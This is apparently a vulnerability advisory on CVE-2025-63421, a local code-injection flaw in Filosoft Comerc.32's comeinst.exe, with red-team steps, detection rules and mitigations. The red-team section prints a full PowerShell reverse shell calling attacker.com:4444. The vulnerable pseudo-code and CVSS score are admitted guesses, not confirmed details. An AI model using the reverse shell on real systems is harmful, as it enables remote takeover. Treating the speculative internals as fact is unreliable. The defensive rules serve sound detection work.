CVE-2025-63421

Executive Summary

CVE-2025-63421 is a critical code execution vulnerability discovered in Filosoft Comerc.32 Commercial Invoicing version 16.0.0.3. The flaw resides in the comeinst.exe binary, allowing a local attacker to execute arbitrary code on the affected system. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes this a high-priority issue for organizations using this software.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone desktop application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (local arbitrary code execution), a more realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Threat Level: High. The vulnerability allows a local attacker to gain full control of the system. While local access is required, it can be exploited via social engineering or by chaining with another vulnerability.

Deep Dive & Mechanics

The vulnerability is located in the comeinst.exe executable, which is part of the Filosoft Comerc.32 Commercial Invoicing suite. The exact mechanism is not publicly documented, but based on the CWE-94 (Improper Control of Generation of Code - Code Injection), it is likely that the application does not properly validate input or configuration files, allowing an attacker to inject and execute arbitrary code.

Potential Attack Vector:

1. The attacker gains local access to the system (e.g., via a compromised user account or physical access).
2. The attacker crafts a malicious input file or configuration that is processed by comeinst.exe.
3. When the application or a scheduled task executes comeinst.exe, the malicious code is executed in the context of the application, leading to full system compromise.

Root Cause: Lack of input validation and improper handling of external data within the comeinst.exe binary.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void processInput(char *input) {
    char buffer[256];
    sprintf(buffer, "command %s", input); // No sanitization
    system(buffer); // Arbitrary command execution
}

A patched version would include input validation and sanitization:

// Patched pseudo-code
void processInput(char *input) {
    if (isValidInput(input)) {
        char buffer[256];
        snprintf(buffer, sizeof(buffer), "command %s", sanitize(input));
        system(buffer);
    } else {
        logError("Invalid input");
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a system running Filosoft Comerc.32 v16.0.0.3
• Ability to write files to a location processed by comeinst.exe

Exploitation Steps:

1. Identify the input file or configuration that comeinst.exe processes.
2. Create a malicious payload (e.g., a reverse shell or privilege escalation script).
3. Inject the payload into the input file.
4. Trigger the execution of comeinst.exe (e.g., by running the application or waiting for a scheduled task).

Example Payload (PowerShell):

# Reverse shell payload
$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team

Detection Steps:

1. Monitor for unusual child processes spawned by comeinst.exe.
2. Look for unexpected file modifications in the application directory.
3. Enable logging for all comeinst.exe executions.

Hunting Query (Splunk):

index=windows sourcetype=WinEventLog:Security EventCode=4688
| where ProcessName="*comeinst.exe"
| table TimeCreated, AccountName, ProcessName, ParentProcessName

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule Detect_CVE_2025_63421_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-63421"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63421"
    strings:
        $s1 = "comeinst.exe" nocase
        $s2 = "system" nocase
        $s3 = "cmd.exe" nocase
        $s4 = "powershell.exe" nocase
    condition:
        $s1 and ($s2 or $s3 or $s4)
}

Sigma Rule

title: Suspicious comeinst.exe Execution
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects suspicious child processes spawned by comeinst.exe
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\comeinst.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative tasks
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-63421 - Potential Reverse Shell from comeinst.exe"; flow:to_server,established; content:"|4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 4e 65 74 2e 53 6f 63 6b 65 74 73 2e 54 43 50 43 6c 69 65 6e 74|"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network if possible.
2. Restrict local access to only trusted users.
3. Monitor all executions of comeinst.exe and its child processes.

Long-term Fix:

• Since no patch is available, consider removing or replacing the Filosoft Comerc.32 software with an alternative.
• Contact Filosoft for an official patch or workaround.

Compensating Controls:

• Implement Application Control (e.g., AppLocker) to block unauthorized executables.
• Use Endpoint Detection and Response (EDR) to detect and block suspicious behavior.
• Enforce least privilege for all user accounts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert